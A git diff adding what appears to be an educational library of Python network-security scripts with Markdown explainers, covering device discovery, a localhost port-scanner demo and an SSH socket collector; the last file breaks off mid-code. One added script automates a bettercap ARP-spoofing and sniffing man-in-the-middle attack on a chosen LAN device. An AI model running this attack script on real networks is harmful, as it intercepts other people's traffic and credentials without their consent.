+2. **Discovery (`netdiscover`):** It runs `netdiscover` on the specified interface to scan the local network, extract all active **IP and MAC addresses**, and attempts to guess the **Gateway IP** (router).
+3. **Selection (User Interaction):** It presents the discovered list to the user and asks for the **Target IP** (client device) via a numerical choice. It also prompts the user to confirm or enter the correct **Gateway IP**.
+4. **Attack Launch (`bettercap`):** It constructs a series of `bettercap` commands to enable **full-duplex ARP spoofing** (spoofing both the target and the gateway) and activate **network sniffing**. It then executes `bettercap` with these commands.
+5. **Output/Side Effects:** The script prints status updates, discovered devices, and error messages (e.g., permission denied). The main effect is the **execution of the external `bettercap` tool**, which takes over the terminal and begins the active MITM attack, printing captured data until manually stopped by the user (`Ctrl+C`).
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `subprocess` | **Crucial.** Used to execute and manage external system commands, specifically running `netdiscover` (with piping/timeout) and `bettercap` (with argument passing). |
+| `sys` | Used for handling **command-line arguments** (`sys.argv`) and controlling the script's exit flow (`sys.exit`) in case of errors (e.g., missing interface, permissions). |
+| `time` | Imported but **not used** in the final logic (a commented line was present). |
+| `re` | Used for **Regular Expressions** to effectively parse the raw text output from the `netdiscover` utility and extract structured data (IP and MAC addresses). |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `discover_devices` | `interface` (str) | `(devices, gateway_ip)` (tuple) | Executes `netdiscover` with a 60s timeout, handles permission/installation errors, uses regex to parse IPs and MACs, and attempts to identify the router's IP address. |
+| `run_mitm_attack` | `interface` (str), `target_ip` (str), `gateway_ip` (str) | None | Constructs the `bettercap` evaluation string (`arp.spoof.fullduplex true; set arp.spoof.targets ; arp.spoof on; net.sniff on;`) and executes the `bettercap` process, which blocks the script until the user stops it. |
+
+#### Execution Logic
+
+The script's primary control flow is managed within the `if __name__ == "__main__":` block.
+
+1. **Initial Validation:** It checks if at least one command-line argument (the interface name) is provided. If not, it displays the `Usage` and exits.
+2. **Step 1: Discovery:** The `discover_devices()` function is called. The script waits up to 60 seconds for network scan results. If no devices or permissions errors occur, the script exits early.
+3. **Step 2: Input Collection:** The user is prompted to select a **Target Device** by number. The script validates the input and uses the discovered IP. The user is then asked to confirm the **Gateway IP** (the guessed value is presented as a default).
+4. **Step 3: Attack Execution:** With all three necessary parameters (`interface`, `client_ip`, `router_ip`) validated, the `run_mitm_attack()` function is called, which immediately launches the configured `bettercap` command.
+5. **Attack Phase:** The script remains blocked while `bettercap` is running. It handles the `KeyboardInterrupt` (`Ctrl+C`) when the user decides to stop the attack.
+
+---
+
+### Screenshots
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Script as Python Script
+ participant OS as Operating System
+ participant Netdiscover
+ participant Bettercap
+
+ User->>Script: Execute Script with interface (e.g., `sudo python3 script.py eth0`)
+ Script->>Script: Checks for interface argument
+ Script->>Script: Calls `discover_devices(interface)`
+ Script->>OS: Execute `netdiscover -i -P -L` (with timeout)
+ OS->>Netdiscover: Start network scan
+ Netdiscover-->>OS: Raw IP/MAC data
+ OS-->>Script: Return stdout/stderr
+ Script->>Script: Parse data (Regex) & Guess Gateway
+ Script->>User: Display discovered devices list
+ User->>Script: Select target number & provide/confirm Gateway IP
+ Script->>Script: Validate inputs
+ Script->>Script: Calls `run_mitm_attack(interface, target_ip, gateway_ip)`
+ Script->>OS: Execute: `bettercap -iface -eval "..."`
+ OS->>Bettercap: Start ARP Spoofing and Network Sniffing
+ Bettercap-->>OS: Continuous Sniffing Output
+ OS-->>Script: bettercap output to console
+ Script->>User: Display bettercap output
+ User->>Bettercap: Manual Termination (Ctrl+C)
+ Bettercap-->>OS: Process Exit
+ OS->>Script: Return from subprocess.run()
+ Script->>User: Display "[+] Attack stopped by user. Exiting."
+ Script->>OS: Exit
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/mitm_attack_automator.py b/UI/frontend/src/content/python-scripts/mitm_attack_automator.py
new file mode 100644
index 0000000..aa34e24
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/mitm_attack_automator.py
@@ -0,0 +1,130 @@
+import subprocess
+import sys
+import time
+import re
+
+def discover_devices(interface):
+ """
+ Discovers devices on the network using netdiscover and returns a list of them.
+ """
+ print(f"[*] Starting device discovery on {interface}. This may take a minute...")
+ try:
+ # We use -P to print results to stdout and -L to run for a short time
+ process = subprocess.Popen(
+ ["netdiscover", "-i", interface, "-P", "-L"],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ text=True
+ )
+
+
+ # time.sleep(10) # Allow some time for discovery not needed this much
+ stdout, stderr = process.communicate(timeout=60) # Set a timeout
+
+ if process.returncode != 0 and "permission denied" in stderr.lower():
+ print("\n[-] Permission Denied. Please run this script with sudo.")
+ sys.exit(1)
+
+ # Regex to find IP addresses and MACs from netdiscover output
+ # Example line: '192.168.1.1\t00:11:22:33:44:55\t\t1\t\t60\t\tRouter Vendor'
+ device_pattern = re.compile(r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+([0-9a-fA-F:]{17})")
+ devices = device_pattern.findall(stdout)
+
+ if not devices:
+ print("[-] No devices discovered. Check your network interface and permissions.")
+ return None, None
+
+ print("[+] Discovery complete. Found the following devices:")
+ gateway_ip = None
+ for i, (ip, mac) in enumerate(devices):
+ # The gateway is often the .1 address, let's make a guess
+ if ip.endswith(".1"):
+ print(f" {i+1}) IP: {ip}, MAC: {mac} <-- Likely Gateway")
+ gateway_ip = ip
+ else:
+ print(f" {i+1}) IP: {ip}, MAC: {mac}")
+
+ return devices, gateway_ip
+
+ except FileNotFoundError:
+ print("[-] 'netdiscover' not found. Please install it (`apt-get install netdiscover`).")
+ sys.exit(1)
+ except subprocess.TimeoutExpired:
+ print("\n[-] Netdiscover timed out. Please try again.")
+ sys.exit(1)
+
+
+def run_mitm_attack(interface, target_ip, gateway_ip):
+ """
+ Launches bettercap to perform the ARP spoofing and packet sniffing.
+ """
+ print(f"\n[*] Configuring bettercap for MITM attack...")
+ print(f" - Target: {target_ip}")
+ print(f" - Gateway: {gateway_ip}")
+ print(f" - Sniffing: ON")
+
+ # Construct the bettercap commands
+ # We will spoof both the client and the gateway (fullduplex)
+ # and turn on the sniffer to capture data.
+ commands = [
+ f"set arp.spoof.fullduplex true;",
+ f"set arp.spoof.targets {target_ip};",
+ "arp.spoof on;",
+ "net.sniff on;"
+ ]
+ full_command_str = " ".join(commands)
+
+ print("\n[*] Launching bettercap. Press Ctrl+C to stop the attack.")
+ print("--- BETTERCAP OUTPUT ---")
+
+ try:
+ # Start bettercap process
+ subprocess.run(
+ ["bettercap", "-iface", interface, "-eval", full_command_str],
+ check=True
+ )
+ except FileNotFoundError:
+ print("[-] 'bettercap' not found. Please make sure it's installed and in your PATH.")
+ sys.exit(1)
+ except subprocess.CalledProcessError as e:
+ print(f"[-] Bettercap failed to run. Error: {e}")
+ sys.exit(1)
+ except KeyboardInterrupt:
+ print("\n[+] Attack stopped by user. Exiting.")
+
+
+if __name__ == "__main__":
+ if len(sys.argv) < 2:
+ print(f"Usage: sudo python3 {sys.argv[0]} ")
+ sys.exit(1)
+
+ network_interface = sys.argv[1]
+
+ # Step 1: Discover Devices
+ discovered_devices, guessed_gateway = discover_devices(network_interface)
+
+ if not discovered_devices:
+ sys.exit(1)
+
+ # Step 2: Get User Input
+ try:
+ target_choice = int(input("\n> Enter the number of the target device: ")) - 1
+ if not (0 <= target_choice < len(discovered_devices)):
+ print("[-] Invalid selection.")
+ sys.exit(1)
+
+ client_ip = discovered_devices[target_choice][0]
+
+ router_ip_default = guessed_gateway if guessed_gateway else ""
+ router_ip = input(f"> Enter the gateway/router IP [{router_ip_default}]: ") or router_ip_default
+
+ if not router_ip:
+ print("[-] Gateway IP is required.")
+ sys.exit(1)
+
+ except (ValueError, IndexError):
+ print("[-] Invalid input.")
+ sys.exit(1)
+
+ # Step 3: Launch the attack
+ run_mitm_attack(network_interface, client_ip, router_ip)
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/network_scanner.py b/UI/frontend/src/content/python-scripts/network_scanner.py
new file mode 100644
index 0000000..a386b86
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/network_scanner.py
@@ -0,0 +1,41 @@
+# This script automates the discovery of devices on a local network using netdiscover.
+
+import subprocess
+import sys
+
+def network_scanner(interface, ip_range):
+ """
+ Runs netdiscover to find all devices on the specified IP range.
+ """
+ print(f"[+] Starting network scan on {interface} for range {ip_range}...")
+ print("[+] Press Ctrl+C to stop the scan.")
+
+ # We use sudo because netdiscover requires root privileges to operate
+ command = ["sudo", "netdiscover", "-i", interface, "-r", ip_range]
+
+ try:
+ # Execute the command and display output in real-time
+ process = subprocess.Popen(command)
+ process.wait()
+ except KeyboardInterrupt:
+ print("\n[+] Scan stopped by user.")
+ except FileNotFoundError:
+ print("[-] Error: 'netdiscover' command not found. Please ensure it is installed.")
+ print("[-] On Kali/Debian, install it with: sudo apt-get install netdiscover")
+ except Exception as e:
+ print(f"[-] An unexpected error occurred: {e}")
+
+if __name__ == "__main__":
+ # Check if running as root, which is required by netdiscover
+ if subprocess.run(["id", "-u"]).stdout.strip() != b'0':
+ print("[-] This script requires root privileges. Please run it with sudo.")
+ sys.exit(1)
+
+ interface_to_scan = input("Enter the network interface to use (e.g., eth0): ")
+ range_to_scan = input("Enter the IP range to scan (e.g., 192.168.1.0/24): ")
+
+ if not range_to_scan:
+ print("[-] IP range cannot be empty. Exiting.")
+ else:
+ network_scanner(interface_to_scan, range_to_scan)
+
diff --git a/UI/frontend/src/content/python-scripts/portscanner_test.md b/UI/frontend/src/content/python-scripts/portscanner_test.md
new file mode 100644
index 0000000..03b973d
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/portscanner_test.md
@@ -0,0 +1,101 @@
+## portscanner_test.py
+
+### Usage Scenario
+
+The primary scenario for this script is **safe, local testing and demonstration of an asynchronous port scanner** and **banner grabbing capabilities**.
+
+* **What problem does it solve?** It solves the problem of needing a **controlled and safe environment** to test the core functionality of a port scanner, specifically **banner grabbing** and **service identification**. Instead of relying on external, unpredictable, or protected systems, it provides four minimal, self-contained test services (HTTP, SSH-like, SMTP, and MySQL-like) that only run on the local machine (`127.0.0.1`).
+* **Who would benefit from using it?** **Developers** working on the `AsyncPortScanner` module (as a proof-of-work test case). **Beginners in Ethical Hacking/Networking** who want to learn how port scanners identify open services and grab banners without risking external connections or needing elevated privileges (since it uses ports above 1024).
+
+---
+
+### What the Script Does
+
+This script acts as a **self-contained demonstration and integration test** for the `AsyncPortScanner` class. Its core function is to emulate a real-world network environment locally, scan it, and report the findings.
+
+The execution flow is:
+
+1. **Input:** **None** (The target host and ports are hardcoded: `127.0.0.1` and non-privileged ports `9001-9004`).
+2. **Process:** It uses `asyncio.start_server` to launch four distinct, lightweight TCP servers on `localhost` (simulating HTTP, SSH, SMTP, and MySQL). It then instantiates the `AsyncPortScanner` and executes a scan against these four specific local ports.
+3. **Output/Side Effects:** The script prints the server listening addresses. It reports the complete scan results in **JSON format** (useful for debugging) and provides a **concise, human-readable summary** of the open ports, their services, and the collected banners. Finally, it gracefully shuts down all four test servers.
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `asyncio` | **Essential.** The core library for writing **concurrent code**. It is used to start and manage the non-blocking test servers (`asyncio.start_server`) and to run the main asynchronous coroutine (`asyncio.run`). |
+| `json` | Used to **format the final scan results** into a standardized, readable JSON string (`json.dumps`) before printing them to the terminal. |
+| `typing` (Dict, List) | Used for **type hinting**, enhancing code clarity and maintainability by explicitly defining the expected types for function parameters and return values. |
+| `async_port_scanner` | **The external module under test.** Imports the core `AsyncPortScanner` class, which handles the non-blocking network connection and banner-grabbing logic. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `[service]_server` | `reader`, `writer` (async streams) | None | Four distinct functions (`http_server`, `ssh_server`, etc.) that act as minimal TCP handlers. Each is designed to send a specific, protocol-mimicking banner or response upon connection, allowing the scanner to grab it. |
+| `start_servers` | `port_map`: `Dict[int, callable]` | `List[asyncio.AbstractServer]` | A utility function that iterates through the provided port-to-handler map, binding and launching the asynchronous TCP servers on `127.0.0.1`. It returns the server objects for later cleanup. |
+| `run_demo` | None | None | The **main asynchronous coroutine** that manages the entire demonstration flow: server startup, scanner instantiation, scan execution, result reporting, and graceful server shutdown. |
+
+#### Execution Logic
+
+The script's execution is initialized by the standard Python entry point, which sets up the asynchronous environment:
+
+1. **Event Loop Setup:** The `if __name__ == "__main__":` block executes, calling `asyncio.run(run_demo())`. This creates the event loop necessary for all `async` operations.
+2. **Server Initialization:** The `run_demo` function defines the hardcoded ports (`9001-9004`) and maps them to their respective server handler functions (`port_map`). It calls `await start_servers(port_map)`, starting the four test services on `127.0.0.1`.
+3. **Scanner Execution:** An instance of `AsyncPortScanner` is created with fast local settings (e.g., `timeout=1.0`). The `await scanner.scan_multiple(...)` method is called, which runs the concurrent scan against the local ports. The script pauses here until all network probes complete.
+4. **Reporting:** The script prints the complete scan results (`results`) in a formatted JSON structure. It then iterates over the results, filtering only the **open ports** to display a concise summary of the discovered service and banner for each.
+5. **Cleanup:** A loop executes `s.close()` and `await s.wait_closed()` for every running server. This ensures all network resources are released cleanly before the script exits, completing the demonstration.
+
+---
+
+### Screenshots
+
+
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ autonumber
+ participant Main as __main__
+ participant Demo as run_demo()
+ participant ServerSetup as start_servers()
+ participant HTTP as http_server()
+ participant SSH as ssh_server()
+ participant SMTP as smtp_server()
+ participant MySQL as mysql_like_server()
+ participant Scanner as AsyncPortScanner
+ participant Scan as scan_multiple()
+
+ Main->>Demo: asyncio.run(run_demo())
+ Demo->>ServerSetup: start_servers(port_map)
+ ServerSetup-->>Demo: retorna lista de servidores
+
+ loop Para cada servidor
+ Demo->>HTTP: Inicia servidor em 9001
+ Demo->>SSH: Inicia servidor em 9002
+ Demo->>SMTP: Inicia servidor em 9003
+ Demo->>MySQL: Inicia servidor em 9004
+ end
+
+ Demo->>Scanner: Instancia AsyncPortScanner(timeout, concurrency, read_bytes)
+
+ Demo->>Scan: scan_multiple(["127.0.0.1"], ports)
+ Scan-->>Demo: Retorna resultados JSON
+
+ Demo->>Demo: Exibe resultados JSON e resumo
+
+ loop Encerramento dos servidores
+ Demo->>ServerSetup: s.close()
+ Demo->>ServerSetup: await s.wait_closed()
+ end
+
+ Main-->>Main: Fim da execução
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/portscanner_test.py b/UI/frontend/src/content/python-scripts/portscanner_test.py
new file mode 100644
index 0000000..038dc71
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/portscanner_test.py
@@ -0,0 +1,177 @@
+#!/usr/bin/env python3
+"""
+python-scripts/portscanner_test.py
+
+A self-contained demo that starts lightweight local test servers (HTTP, SSH-like,
+SMTP greeting, and a MySQL-like handshake), runs the AsyncPortScanner against them,
+and prints the JSON results and a short human-readable summary.
+
+Purpose for learners:
+- Demonstrates how to run the async scanner in a safe, local environment.
+- Shows how banner-grabbing works against services that proactively send greetings,
+ and against HTTP where we send a light HEAD probe.
+- Provides easy-to-copy commands to reproduce the proof-of-work for a PR.
+
+IMPORTANT:
+- This demo binds to localhost (127.0.0.1) on ports above 1024 (no root required).
+- Only run on your machine or in an isolated VM. Do not point this demo at external targets.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import json
+from typing import Dict, List
+from async_port_scanner import AsyncPortScanner # imports the scanner implemented in the repo
+
+
+# -----------------------
+# Lightweight test server handlers
+# -----------------------
+# Each handler is intentionally minimal: they send a small banner (or respond to a request)
+# then close. This simulates common server greeting behavior without running full server stacks.
+
+async def http_server(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
+ """
+ Simulate an HTTP server: read incoming request (if any), respond with a short HTTP response.
+ Many real HTTP servers don't send data until a request is made, so this handler samples that behavior.
+ """
+ try:
+ # Try to read any incoming data (the scanner will probe with HEAD). We wait briefly.
+ _ = await asyncio.wait_for(reader.read(1024), timeout=0.5)
+ except Exception:
+ # no incoming data or timeout; that's fine — we'll still send a response when asked
+ pass
+
+ response = b"HTTP/1.1 200 OK\r\nServer: DummyHTTP/1.0\r\nContent-Length: 2\r\n\r\nOK"
+ writer.write(response)
+ await writer.drain()
+ writer.close()
+ try:
+ await writer.wait_closed()
+ except Exception:
+ pass
+
+
+async def ssh_server(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
+ """
+ Simulate an SSH server banner: SSH servers usually send a banner immediately on connect.
+ Example: "SSH-2.0-OpenSSH_8.0"
+ """
+ writer.write(b"SSH-2.0-OpenSSH_8.0p1 Demo\r\n")
+ await writer.drain()
+ # small sleep to allow scanner to read the banner before we close
+ await asyncio.sleep(0.05)
+ writer.close()
+ try:
+ await writer.wait_closed()
+ except Exception:
+ pass
+
+
+async def smtp_server(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
+ """
+ Simulate SMTP greeting: servers commonly send a 220 greeting immediately after connect.
+ """
+ writer.write(b"220 localhost ESMTP DemoPostfix\r\n")
+ await writer.drain()
+ try:
+ # optionally read a client greeting/commands (not required for demo)
+ _ = await asyncio.wait_for(reader.read(1024), timeout=0.5)
+ except Exception:
+ pass
+ writer.close()
+ try:
+ await writer.wait_closed()
+ except Exception:
+ pass
+
+
+async def mysql_like_server(reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None:
+ """
+ Simulate a MySQL-like handshake by sending a small binary blob containing 'mysql'.
+ Real MySQL handshake is binary; this simplified blob is enough for our fingerprint regex.
+ """
+ # 0x0a starts MySQL protocol version string in real handshake; include "mysql_native_password"
+ writer.write(b"\x0a5.7.33\x00\x00\x00\x00mysql_native_password")
+ await writer.drain()
+ await asyncio.sleep(0.05)
+ writer.close()
+ try:
+ await writer.wait_closed()
+ except Exception:
+ pass
+
+
+# -----------------------
+# Demo runner
+# -----------------------
+
+async def start_servers(port_map: Dict[int, callable]) -> List[asyncio.AbstractServer]:
+ """
+ Start asyncio servers for each (port -> handler) pair on localhost and return the server objects.
+ We return the servers so the caller can close them cleanly when done.
+ """
+ servers: List[asyncio.AbstractServer] = []
+ for port, handler in port_map.items():
+ server = await asyncio.start_server(handler, "127.0.0.1", port)
+ servers.append(server)
+ return servers
+
+
+async def run_demo() -> None:
+ """
+ Main demo flow:
+ 1. Start test servers on pre-defined ports.
+ 2. Instantiate AsyncPortScanner and run a scan against localhost ports.
+ 3. Print JSON results and a concise terminal summary.
+ 4. Cleanly shut down demo servers.
+ """
+ # choose ports > 1024 to avoid needing root
+ ports = [9001, 9002, 9003, 9004]
+ port_map = {
+ 9001: http_server,
+ 9002: ssh_server,
+ 9003: smtp_server,
+ 9004: mysql_like_server,
+ }
+
+ print("Starting demo servers on localhost:", ports)
+ servers = await start_servers(port_map)
+
+ # show where servers are listening (helpful when debugging)
+ for s in servers:
+ for sock in s.sockets:
+ print("Listening on", sock.getsockname())
+
+ # instantiate the scanner with a short timeout (demo is local and fast)
+ scanner = AsyncPortScanner(timeout=1.0, concurrency=100, read_bytes=2048)
+
+ print("Running scanner against localhost demo ports...")
+ results = await scanner.scan_multiple(["127.0.0.1"], ports)
+
+ # print the full JSON result (useful as proof-of-working logs)
+ print("\n=== JSON Results ===")
+ print(json.dumps(results, indent=2))
+
+ # print a compact human-readable summary for the terminal
+ print("\n=== Summary (open ports) ===")
+ for r in results:
+ if r.get("open"):
+ print(f" - {r['host']}:{r['port']} -> services={r.get('services')} banner={r.get('banner')!r}")
+
+ # gracefully stop demo servers
+ for s in servers:
+ s.close()
+ await s.wait_closed()
+
+ print("\nDemo finished. Servers stopped.")
+
+
+if __name__ == "__main__":
+ # Run the demo. Use asyncio.run() to create an event loop and execute the coroutine.
+ try:
+ asyncio.run(run_demo())
+ except KeyboardInterrupt:
+ print("Demo aborted by user.")
+
diff --git a/UI/frontend/src/content/python-scripts/remote_collect_via_ssh.md b/UI/frontend/src/content/python-scripts/remote_collect_via_ssh.md
new file mode 100644
index 0000000..330111d
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/remote_collect_via_ssh.md
@@ -0,0 +1,123 @@
+## remote_collect_via_ssh.py
+
+### Usage Scenario
+
+This script is a crucial component in the **network reconnaissance** phase of an assessment, providing **authoritative, host-internal data** about exposed services. It is designed to complement external network scanning by verifying and enriching the information gathered.
+
+---
+
+**What problem does it solve?**
+
+* **Incomplete Process Attribution:** While external scans (e.g., Nmap) can find open ports, they cannot definitively identify the **PID (Process ID)** and **program name** listening on that port. This script executes commands *inside* the target host via **SSH** to retrieve this exact information directly from the operating system's kernel, providing a **ground truth** of running services.
+* **Service Verification:** It confirms that the service inferred by external observation is indeed what is running, a critical step for tailored vulnerability research.
+
+**Who would benefit from using it?**
+
+* **Ethical Hacking Teams (Red Teams):** To rapidly and precisely map internal attack surfaces after gaining initial access to a machine.
+* **Security Engineers (Blue Teams):** For auditing internal machines, ensuring that only expected and authorized processes are running and listening on the network.
+* **Students and Learners:** To understand the difference between external (network) and internal (host-based) service enumeration techniques.
+
+---
+
+### What the Script Does
+
+The `remote_collect_via_ssh.py` script securely connects to a remote Linux/Unix host using the local system's **`ssh` client**, executes a command to list all listening **TCP sockets** and their associated processes, and outputs the collected data in a **structured JSON format**.
+
+The execution flow is:
+
+1. **Input:** It requires the **SSH target** (`user@host` or `host`) and an optional connection **timeout** (default: 20 seconds).
+2. **Process:**
+ * It first attempts to run the modern command: **`ss -tlnp`** on the remote host.
+ * If `ss` fails (e.g., command not found or permission error), it **falls back** to running: **`netstat -tulpen`**.
+ * The raw output from the successful command is then processed by a **heuristic parser** using Regular Expressions (`re`) to extract the local IP, port, PID, and process name for each listening socket.
+3. **Output/Side Effects:** The script's primary output is a single, structured **JSON object** printed to standard output. This JSON includes the full raw outputs (`stdout`, `stderr`), the command used, and a clean list of dictionaries (`parsed`) detailing each listening service. The only side effect is the execution of a system command on the remote host via SSH.
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `argparse` | Used to handle the **command-line interface (CLI)**, specifically for parsing the required `--target` host and the optional `--timeout` argument. |
+| `subprocess` | **Core functionality.** Executes the external `ssh` command and captures the output streams (`stdout`, `stderr`) and the exit status code. |
+| `json` | Used to serialize the final Python dictionary of results into a standardized **JSON string** for output. |
+| `re` | **Essential for parsing.** Provides the Regular Expression engine used to match and extract meaningful fields (like IP:Port and PID/Process) from the raw, inconsistent textual outputs of `ss` and `netstat`. |
+| `sys` | Manages the **script exit behavior**, allowing the script to return different exit codes based on success or failure, and for printing critical errors to `stderr`. |
+| `shutil.which` | Used in the `main` function for a **pre-flight check** to confirm that the `ssh` client binary exists on the local execution system. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| `run_ssh_command` | `target` (str), `cmd` (str), `timeout` (int=20) | `Dict[str, str]` | Executes the `ssh target cmd` command via `subprocess.run()`. It ensures safety by building the command as a list. It returns the raw `stdout`, `stderr`, and `returncode`. |
+| `parse_ss_output` | `stdout` (str) | `List[Dict]` | Parses the raw output from `ss -tlnp`. It iterates through lines, skips headers, and uses regexes (`ADDR_PORT_RE`, `PID_PROC_RE`) to extract service details into structured dictionaries. |
+| `parse_netstat_output` | `stdout` (str) | `List[Dict]` | Parses the fallback output from `netstat -tulpen`. It uses a similar heuristic approach to structure the data, accounting for the slightly different output format of `netstat`. |
+| `collect_listening_via_ssh` | `target` (str) | `Dict` | **The Orchestrator.** It attempts the `ss` command. If it fails, it retries with the `netstat` command. It calls the appropriate parser and constructs the final, comprehensive results dictionary, including any failure messages. |
+| `main` | `argv` (Optional[List[str]]=None) | `int` (Exit code) | The entry point. It handles argument parsing, performs the local `ssh` existence check, calls the orchestrator function, prints the final JSON output, and determines the system exit code. |
+
+#### Execution Logic
+
+The script initiates execution through the `main()` function, called by the `if __name__ == "__main__":` block.
+
+1. **Preparation:** `main()` ensures the `ssh` utility is available locally using `shutil.which()`. If not found, it exits immediately with an error code of `2`.
+2. **Collection:** It calls the central function, **`collect_listening_via_ssh(args.target)`**.
+3. **Command Flow:** This orchestrator first executes `ss -tlnp` remotely via `run_ssh_command`.
+ * If successful, it immediately calls `parse_ss_output` to process the results.
+ * If `ss` returns an error or no output, it executes the fallback command `netstat -tulpen`.
+ * If `netstat` is successful, it calls `parse_netstat_output`.
+ * If both fail, it packages the error messages from both attempts into the final result dictionary.
+4. **Output:** The structured result dictionary is returned to `main()`.
+5. **Serialization:** `main()` uses `json.dumps(..., indent=2)` to print the final data structure in a human-readable JSON format to the user's console.
+6. **Exit:** The script exits with status **0** if the remote collection succeeded (no overall error), or **1** if the remote command/collection process failed.
+
+---
+
+### Screenshots
+
+
+
+
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant LocalScript as Python Script (remote_collect_via_ssh.py)
+ participant LocalOS as Local OS Shell (ssh client)
+ participant RemoteHost as Remote Host OS (ss/netstat)
+
+ User->>LocalScript: Execute with --target user@host
+ LocalScript->>LocalScript: 1. Parse Args & Check Local 'ssh' (shutil.which)
+ LocalScript->>LocalScript: 2. Call collect_listening_via_ssh(target)
+
+ LocalScript->>LocalOS: 3. Run: subprocess.run(["ssh", target, "ss -tlnp"])
+ LocalOS->>RemoteHost: 4. SSH Connection & Execute 'ss -tlnp'
+ RemoteHost-->>LocalOS: 5. STDOUT/STDERR/RC from 'ss'
+ LocalOS-->>LocalScript: 6. Return raw results (run_ssh_command)
+
+ alt SS Fails (RC!=0 or Empty Output)
+ LocalScript->>LocalScript: 7. Fallback: Prepare NETSTAT_CMD
+ LocalScript->>LocalOS: 8. Run: subprocess.run(["ssh", target, "netstat -tulpen"])
+ LocalOS->>RemoteHost: 9. SSH Connection & Execute 'netstat -tulpen'
+ RemoteHost-->>LocalOS: 10. STDOUT/STDERR/RC from 'netstat'
+ LocalOS-->>LocalScript: 11. Return raw results (run_ssh_command)
+
+ alt Netstat Succeeds
+ LocalScript->>LocalScript: 12. Call parse_netstat_output(stdout)
+ else Both Fail
+ LocalScript->>LocalScript: 12. Record failure message in 'error' field
+ end
+ else SS Succeeds
+ LocalScript->>LocalScript: 7. Call parse_ss_output(stdout)
+ end
+
+ LocalScript->>LocalScript: 13. Aggregate full result (JSON Dict)
+ LocalScript-->>User: 14. Print final result (JSON to stdout)
+ LocalScript->>LocalOS: 15. Exit (Code 0 or 1)
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/remote_collect_via_ssh.py b/UI/frontend/src/content/python-scripts/remote_collect_via_ssh.py
new file mode 100644
index 0000000..5760d2f
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/remote_collect_via_ssh.py
@@ -0,0 +1,260 @@
+"""
+remote_collect_via_ssh.py
+
+Authoritative listening-sockets collector that runs commands on a target host
+over SSH and returns structured JSON describing the listening TCP sockets and
+associated process information.
+
+Purpose (educational):
+- Demonstrates an *inside-the-host* approach to obtain accurate listening
+ service information (PID/program, local IP:port). This complements network
+ scanning, which infers services from observed network behavior.
+- Uses the system `ssh` command to avoid adding extra Python dependencies.
+
+IMPORTANT SAFETY NOTES:
+- This tool executes commands on the remote host via SSH. Only run it against
+ machines you own or for which you have explicit written authorization.
+- The remote command runs `ss -tlnp` or `netstat -tulpen` (fallback). If your
+ environment blocks these commands or requires a different tool, update the
+ script accordingly.
+"""
+
+from __future__ import annotations
+
+import argparse # CLI parsing
+import subprocess # run system `ssh` command
+import shlex # shell-quoting if needed
+import json # produce JSON output
+import re # parse outputs heuristically
+import sys # exit codes
+from typing import List, Dict, Optional
+
+# Commands we will attempt on the remote host (ss preferred, netstat fallback)
+SS_CMD = "ss -tlnp" # modern Linux: list TCP listening sockets with process info
+NETSTAT_CMD = "netstat -tulpen" # fallback: older systems may provide netstat
+
+# Basic regex to extract useful fields from `ss`/`netstat` output. Note: output formats
+# vary across distros; this parser is intentionally *simple* for demonstration, not exhaustive.
+# We'll capture local address (ip:port), the 'LISTEN' marker, PID and program when present.
+ADDR_PORT_RE = re.compile(r"([0-9a-fA-F\.\:\*]+):(\d+)$") # match ip:port at end of token
+PID_PROC_RE = re.compile(r"pid=(\d+),\s*fd=\d+.*?name=\"?([^\"]+)\"?", re.I) # for ss with pid=...,name="proc"
+PID_PROC_ALT_RE = re.compile(r"(\d+)/([^\s]+)") # for netstat "pid/program"
+
+def run_ssh_command(target: str, cmd: str, timeout: int = 20) -> Dict[str, str]:
+ """
+ Run `ssh target cmd` and return a dict with 'stdout' and 'stderr'.
+ We do a simple, non-interactive call and set a timeout to prevent hangs.
+ """
+ # Build the SSH command as a list to avoid shell injection issues with Python API.
+ # We deliberately don't expand user input into shell; we assume `target` is a safe target string
+ # in the form user@host or host. In production, validate/normalize it.
+ proc = subprocess.run(
+ ["ssh", target, cmd],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ text=True,
+ timeout=timeout,
+ check=False,
+ )
+ return {"stdout": proc.stdout, "stderr": proc.stderr, "returncode": proc.returncode}
+
+
+def parse_ss_output(stdout: str) -> List[Dict]:
+ """
+ Attempt to parse `ss -tlnp` output into a list of dicts with:
+ - proto, local_ip, port, pid, process, raw_line
+ This is a heuristic parser for tutorial purposes; adjust regexes for your distro's format.
+ """
+ results: List[Dict] = []
+ for line in stdout.splitlines():
+ # Skip header lines or short lines
+ if not line or line.strip().startswith("State"):
+ continue
+
+ if "LISTEN" not in line and "LISTEN" not in line.upper():
